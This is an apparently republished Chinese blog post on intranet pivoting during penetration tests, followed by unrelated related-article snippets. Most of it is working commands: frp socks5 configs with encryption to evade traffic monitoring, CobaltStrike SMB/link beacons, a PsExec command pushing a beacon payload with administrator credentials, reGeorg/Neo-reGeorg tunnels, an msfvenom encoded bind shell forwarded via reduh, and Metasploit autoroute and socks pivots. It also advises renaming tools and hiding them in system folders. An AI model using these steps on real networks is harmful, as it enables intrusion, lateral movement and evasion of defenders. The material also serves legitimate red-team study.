实战中内网穿透的打法

news2024/11/28 2:44:08

前言

在内网渗透时,一个WebShell或CobaltStrike、Metasploit上线等,只是开端,更多是要内网横向移动,扩大战果,打到核心区域。但后渗透的前提是需要搭建一条通向内网的“专属通道”,才能进一步攻击。可实战中因为网络环境不同,所利用的方式就不同。

以下为自我总结“实战中内网穿透的打法”思维导图:

图片

目标出网(socks代理)

这是实战中最愿意碰到的网络环境,目标机可以正常访问互联网,可直接在目标机挂socks代理或CobaltStrike上线,打通目标的内网通道。

Frp(socks5)

Frp服务端配置文件:

1[common]
2bind_port = 8080

Frp客户端配置文件:

1[common]
2server_addr = xx.xx.xx.xx
3server_port = 8080
4#服务端口使用Web常见端口
5``
6[socks5]
7type = tcp
8remote_port = 8088
9plugin = socks5
10use_encryption = true
11use_compression = true
12#socks5口令
13#plugin_user = SuperMan
14#plugin_passwd = XpO2McWe6nj3

此处添加了加密压缩这两个功能,默认是不开启的,根据作者介绍,压缩算法使用的是 snappy。

use_encryption = true 启用加密 [通信内容加密传输,有效防止流量被拦截]

use_compression = true 启用压缩 [传输内容进行压缩,有效减小传输的网络流量,加快流量转发速度,但会额外消耗一些CPU资源]

use_encryption = true 、use_compression = true 必须放在相关协议下面。

frp客户端与配置文件传到目标机后,把程序名与配置文件进行修改,并放在系统相关文件夹中,做到隐蔽。

图片

图片

图片

加密压缩的对比

这是frp客户端配置文件中未使用encryptioncompression功能,利用metasploit挂socks代理,扫描ms17_010传输的数据包,明显可辨别出具体攻击行为。如果目标内网有”态势感知“、流量分析等安全设备,就会被监测到,导致权限丢失。

图片

使用encryptioncompression功能后,虽攻击源地址同样会暴露,但传输的数据包却无法辨别,规避了内网中的安全监测设备。

图片

CobaltStrike (socks4a)

到已控目标机的Beacon下将socks代理开启。

1beacon > socks 1024 #端口根据VPS实际情况进行设置

图片

菜单栏中的View > Proxy Pivots,复制代理连接到Metasploit中,或直接将socks4a挂在相关安全工具中。

图片

上线不出网机器

这是link链接,只要主链路(出网机Beacon)掉线,均掉!

SMB Beacon

官方对SMB Beacon的介绍:SMB Beacon是使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽。

创建一个SMB的Listener (host与port可无视),注意Listener选择,在session中选择route可达的主机派生会话。

图片

运行成功后,可以看到 ∞∞ 这个字符,这就是派生SMB Beacon的连接状态。

图片

图片

可在主Beacon上用link host链接或unlink host断开。

1beacon> link 192.168.144.155
2beacon> unlink 192.168.144.155

图片

Link Listener

在已上线的主机创建Listener。

图片

导出该类型Listener对应的可执行文件或dll等。

图片

选择刚建立的Listener。

图片

上传刚才生成的payload到当前已上线的目标机中,这里用PsExec.exe 工具 。(CobalStrike本身psexec功能不够强大)

图片

在Beacon中使用PsExec工具将payload上传到不出网的目标机中,自动执行,上线。

1beacon> shell C:\WINDOWS\Temp\PsExec.exe -accepteula \\192.168.144.155,192.168.144.196 -u administrator -p admin@123 -d -c C:\WINDOWS\Temp\beacon.exe

图片

| 1 | beacon> shell netstat -ano |findstr 4444 |
| ---- | ------------------------------------------ |
| | |

图片

SSH Login
1beacon> ssh 192.168.144.174:22 root admin
2beacon> ssh 192.168.144.203:22 root admin

图片

在Linux目标机中查看网络连接状态,实际是与之前已上线的Windows主机建立的连接。

图片

目标不出网(http代理)

目标机网络中可能有防火墙、网闸等,只允许http单向出,无法正常访问互联网,用上述socks方法是行不通的,只能用http代理进行渗透。

reGeorg (socks5)

1python reGeorgSocksProxy.py -u http://192.168.144.211/tunnel.aspx -l 0.0.0.0 -p 10080

图片

利用metasploit挂reGeorg socks代理,扫描ms17_010传输的数据包,明显可辨别攻击行为。

图片

Neo-reGeorg (加密)
1python neoreg.py -k test@123 -l 0.0.0.0 -p 10081 -u http://192.168.144.211/neo-tunnel.aspx

使用Neo-reGeorg后,数据包已被加密传输。

图片

冰蝎 (开socks5)

冰蝎的数据包传输是加密的,本身也具备socks代理功能,但传输过程中存在丢包情况。这里同样是利用metasploit探测ms17_010漏洞,结果显示不存在。当不设置代理探测时,实际漏洞是存在的。

虽然冰蝎的这种代理扫描方式不如reGeorg准确,但小线程的端口探测等是可行的,如 auxiliary/scanner/portscan/tcp。准确度更多是因某种探测或其他方式的数据包在传输过程中的多少而决定。

图片

reduh (单端口转发)

当目标服务器中间件等服务版本较低,reGeorg或冰蝎马等无法正常解析,就需要换用其它的http代理脚本。这是某实战中遇到的环境:

图片

这里以reduh为例,虽然只能对指定的端口进行转发 (不适用图形化连接操作),但可以先利用msfvenom生成正向的shell payload,再结合reduh单端口转发,上线metasploit,最后利用socks4a模块开代理。

下面把具体的流程走一遍:

1sudo msfvenom --platform windows -p windows/shell_bind_tcp lport=53 -e x86/shikata_ga_nai -i 5 -f exe -o x86shell.exe
2``
3--platform <platform> 指定payload的目标平台
4-e, --encoder <encoder> 指定需要使用的编码器
5-i, --iterations <count> 指定payload的编码次数

图片

上传payload到目标服务器,并执行。

图片

metasploit是监听转发后的地址与端口。

1sudo msfconsole -q
2msf5 > use exploit/multi/handler
3msf5 exploit(multi/handler) > set payload windows/shell_bind_tcp
4msf5 exploit(multi/handler) > set rhost 127.0.0.1
5msf5 exploit(multi/handler) > set lport 5353
6msf5 exploit(multi/handler) > run -j

图片

reDuhServer传到目标机后,使用reDuhClient进行连接,并将反弹的端口转本地后,

1java -jar reDuhClient.jar http://103.242.xx.xx/reduh.aspx
2``
3telnet 127.0.0.1 1010
4>>[createTunnel]5353:127.0.0.1:53

图片

可在metasploit渗透,或开启一个socks4a,挂载其他安全工具上继续渗透。

1msf5 exploit(multi/handler) > use auxiliary/server/socks4a
2msf5 auxiliary(server/socks4a) > set srvport 10080
3msf5 auxiliary(server/socks4a) > run -j

图片

注意

为什么payload要用shell,而不用meterpreter。meterpreter是高级的payload,传输中占用大量数据包,这种单端口转发上线metasploit,本就不是很稳定,meterpreter会使“小水管”更加不稳定!

图片

隔离网络(多级代理)

内网渗透中,会遇到隔离网络,更多时候是逻辑上的隔离,突破的办法就是拿到route可达的跳板机 (多张网卡、运维机等)的权限,建立一层二级代理、三级代理…

frp

现拿到一台双网卡内网服务器权限,可以用frp建立通道,这台服务器既是服务端也是客户端。

图片

proxifier

用frp建立好后,结合proxifier添加两条代理:外网socks、内网socks,之后创建代理链 。(注意代理顺序)

图片

设置代理规则,选择对应代理。

图片

二层代理成功,内网隔离机445探测开放。

图片

Proxychains

命令行代理神器proxychains,设置二层代理、socks口令。(注意代理顺序)

图片

联动metasploit,ms17_010探测,可以看到代理链的传输过程。

图片

Metasploit

针对metasploit的利用,只要sessions中的route可达,就可以直接进行多层网络渗透,更加方便。但主session掉,均掉!

在获取目标一个sessions 后,可以查看IP段信息并自动添加路由表。

1msf5 exploit(multi/handler) > sessions 1
2meterpreter > run get_local_subnets
3meterpreter > run autoroute -p
4meterpreter > run post/multi/manage/autoroute
5meterpreter > run autoroute -p
6meterpreter > background

图片

上述是在meterpreter权限中添加,或当知道目标路由表信息时,可直接添加。

1msf5 exploit(multi/handler) > route add 172.20.20.0/24 1 //session id 1
2msf5 exploit(multi/handler) > route

图片

可在metasploit继续渗透,或开启一个socks,挂载其他工具上多层穿透。

1msf5 exploit(multi/handler) > use auxiliary/server/socks4a
2msf5 auxiliary(server/socks4a) > set srvport 10080
3msf5 auxiliary(server/socks4a) > run -j

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1577078.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

交易要想成功澳福总结几点

100%使用基本面分析的投资者能保证每次交易都能成功吗&#xff1f;100%使用技术分析的投资者能保证每次交易都能成功吗&#xff1f;在fpmarkets澳福看来无论是基本面分析还是技术分析都不能保证100%交易成功。 投资者不能只依赖一种分析进行投资交易。在fpmarkets澳福看来成功的…

4【PS让图片动起来】系列2-【素材拆分 抠图】

【问题介绍】上章展示了如何将花瓣网的素材导入PS&#xff0c;但导入的是一堆花瓣&#xff0c;怎么拆分成一片片飘落的花瓣呢&#xff1f; 今天介绍的主体就是PS抠图 PS抠图的方法有很多种&#xff0c;一口气讲完也不实用&#xff0c;计划是根据合适的案例&#xff0c;介绍合…

uniapp开发笔记----配置钉钉小程序

uniapp开发笔记----配置钉钉小程序 1. 项目根目录添加package.json文件2. 之后点击运行就可以看到已经添加了钉钉小程序3. 如果首次使用需要配置 其他功能待开发。。。 接上一章之后&#xff0c;我想要把项目配置成钉钉小程序 官方文档点击这里 1. 项目根目录添加package.json…

linux:du和df区别

文章目录 1. 概述2. du 命令2. df 命令3. 区别总结 1. 概述 du 和 df 都是 Linux 系统中用于查看磁盘空间使用情况的命令&#xff0c;但它们的功能和用法有所不同。 2. du 命令 du 是 “disk usage” 的缩写&#xff0c;用于显示文件或目录的磁盘使用情况。du 命令用于查看指…

接口自动化入门: Http请求的域名与IP地址概念!

在进行接口自动化测试时&#xff0c;经常需要与服务器进行通信&#xff0c;这就涉及到了使用Http协议发送请求。在发送请求时&#xff0c;我们需要指定目标服务器的域名或者IP地址。下面将从0到1详细介绍域名与IP地址的概念及其在接口自动化测试中的应用。 本文从5个方面来书写…

【nnUNetv2实践】二、nnUNetv2快速入门-训练验证推理集成一条龙教程

nnUNet是一个自适应的深度学习框架&#xff0c;专为医学图像分割任务设计。以下是关于nnUNet的详细解释和特点&#xff1a; 自适应框架&#xff1a;nnUNet能够根据具体的医学图像分割任务自动调整模型结构、训练参数等&#xff0c;从而避免了繁琐的手工调参过程。 自动化流程&a…

申请免费SSL证书

SSL证书是数字证书的一种&#xff0c;配置在服务器上&#xff0c;起到文件信息传输加密的作用。由受信任的数字证书颁发机构CA在验证服务器身份后颁发&#xff0c;防止第三方窃取或篡改信息。 具体来说&#xff0c;SSL证书在客户端浏览器与Web服务器两端建立一条SSL安全通道&a…

【C++】流程控制语句:跳转语句之Break

在C编程语言中&#xff0c;流程控制不仅包括循环和条件分支&#xff0c;还包括一类特别重要的语句——跳转语句。 这类语句允许程序在执行过程中“打破”常规流程&#xff0c;转而执行其他位置的代码。 C提供了四种跳转语句&#xff1a;break、continue、goto 以及 return。…

(已解决)使用IEEE格式的latex模板时出现引用(citation/reference)下面有下划线的情况

文章目录 背景原因解决方案 背景 问题如下&#xff0c;1.有一个下划线标注所发表的期刊或者会议2.不是斜体的。 上面这样肯定是不对的&#xff0c;那为什么会出现这种情况呢&#xff1f; 原因 I think I know of no style that applies underlining to titles in the bibli…

实现第一个动态链接库 游戏插件 成功在主程序中运行 dll 中定义的类

devc 5.11编译环境 dll编译环境设置参考 Dev c C语言实现第一个 dll 动态链接库 创建与调用-CSDN博客 插件 DLL代码和主程序代码如下 注意 dll 代码中的class 类名需要 和主程序 相同 其中使用了函数指针和强制类型转换 函数指针教程参考 以动态库链接库 .dll 探索结构体…

基于51单片机的温度、烟雾、火焰检测设计

基于51单片机的火灾检测设计 &#xff08;仿真&#xff0b;程序&#xff0b;原理图设计报告&#xff09; 功能介绍 具体功能&#xff1a; 1.使用MQ-2烟雾采集&#xff0c;使用ADC0832将传感器输出的模拟信号转化为数字信号&#xff0c;再传给单片机。 2.使用DS18B20采集温度。…

fastlio2 保存每帧的点云和每帧的里程计为单独的文件做后端回环优化和手动回环优化

为了 提供数据做后端回环优化和手动回环优化,需要保存每帧的点云和每帧的里程计为单独的文件,并且需要保存的名字为ros时间戳。 效果很好,比我自己写的手动回环模块好用 // This is an advanced implementation of the algorithm described in the // following paper: /…

Ceph学习 -4.Ceph组件介绍

文章目录 1.Ceph组件介绍1.1 组件介绍1.2 流程解读1.2.1 综合效果图1.2.2 数据存储逻辑 1.3 小结 1.Ceph组件介绍 学习目标&#xff1a;这一节&#xff0c;我们从组件介绍、流程解读、小结三个方面来学习。 1.1 组件介绍 无论是想向云平台提供 Ceph 对象存储和 Ceph 块设备服务…

Mamba入局遥感图像分割 | Samba: 首个基于SSM的遥感高分图像语义分割框架

文章目录 1、导读 2、背景 3、动机 4、方法 5、实验 6、总结 标题&#xff1a;《Samba: Semantic Segmentation of Remotely Sensed Images with State Space Model》论文&#xff1a;https://arxiv.org/abs/2404.01705源码&#xff1a;https://github.com/zhuqinfeng1999…

原来科技感的三维地图可以这么简单实现

前言 2024.02.20 下午摸鱼时接到一个客户的数字孪生项目的需求&#xff0c;客户什么也没说&#xff0c;就要求“炫酷”和“科技感”地图&#xff0c;还要把他们的模型都放上去&#xff0c;起初我以为又是一个可视化大屏的项目&#xff0c;准备用高德地图应付过去&#xff0c;然…

spring面试八股

常用的注册bean的方式 ComponentScan扫描到的service和Controller等的注解 Configration配置类或者是xml文件的定义。 spring中有几种依赖注入的方式 1.构造器注入。 2.setter方法注入。 3.使用field属性的方式注入。 applicationContext是什么 spring bean spring aop Aop…

03-JAVA设计模式-建造者模式

建造者模式 什么是建造者模式 建造者模式&#xff08;Builder Pattern&#xff09;是一种对象构建的设计模式&#xff0c;它允许你通过一步一步地构建一个复杂对象&#xff0c;来隐藏复杂对象的创建细节。 这种模式将一个复杂对象的构建过程与其表示过程分离&#xff0c;使得…

目标点注意力Transformer:一种用于端到端自动驾驶的新型轨迹预测网络

目标点注意力Transformer&#xff1a;一种用于端到端自动驾驶的新型轨迹预测网络 附赠自动驾驶学习资料和量产经验&#xff1a;链接 摘要 本文介绍了目标点注意力Transformer&#xff1a;一种用于端到端自动驾驶的新型轨迹预测网络。在自动驾驶领域中&#xff0c;已经有很多…

深度比较Vue 3.0中的computed和watch属性用法与最佳实践

摘要&#xff1a;在Vue 3.0中&#xff0c;computed和watch属性是用于处理数据逻辑的重要工具。本文将详细对比这两个属性的工作原理、适用场景以及使用时的注意事项&#xff0c;旨在帮助开发者更有效地选择和使用它们。 一、computed属性 computed属性是Vue 3.0中用于计算数据…

wpf TreeView 实现动态加载页面

实现以下的效果&#xff0c;在TreeView上点击节点&#xff0c;动态加载右边的页面&#xff0c;如下图所示&#xff1a; 1. 主页面如下&#xff1a; 2. 实现主页面刷新方法 _currentStateViewModel.RefreshState(); _currentStateViewModel就是点击TreeView上的节点&#xff0…